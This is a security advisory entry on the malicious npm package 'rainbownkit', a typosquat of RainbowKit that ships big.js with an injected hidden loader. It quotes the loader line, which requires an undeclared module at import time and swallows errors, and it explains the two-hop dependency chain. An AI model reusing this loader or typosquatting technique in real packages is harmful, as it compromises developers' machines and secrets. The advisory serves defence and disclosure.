MAL-2026-6340

Dashboard / Malicious Package / MAL-2026-6340

MAL-2026-6340

Summary: Malicious code in rainbownkit (npm)

Details: Source: amazon-inspector (970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a) Package 'rainbownkit' is a single-character typosquat of the popular Web3 library 'rainbowkit'. The shipped source, README, repository URL, and author metadata are copied verbatim from the unrelated 'big.js' arbitrary-precision math library — a developer installing this expecting RainbowKit instead receives big.js with an injected covert loader. The package's main entry (big.js and big.mjs, both referenced via `main` and `exports`) contains an injected try/catch around line 606 that runs at require/import time: `const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {})`. The 'parket-slot' module is not declared in package.json and would be pulled in transitively via the package's only declared runtime dependency 'log-taker' (`^0.0.9`), an undocumented niche package with no relation to the package's claimed purpose. All errors are silently swallowed, making the hidden execution invisible to the consumer. Anyone who runs `require('rainbownkit')` (or any code that imports it) executes whatever code the 'parket-slot' / 'log-taker' chain delivers at that moment — a classic two-hop dependency-confusion supply-chain payload combined with name impersonation of a high-traffic Web3 package. Source: ghsa-malware (a56e231204249b84c1282943910bd97d343f2488d63a4bea2557c402a6272a12) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References: https://www.npmjs.com/package/rainbownkit/v/0.0.8, https://github.com/advisories/GHSA-vj5m-3jrw-83gx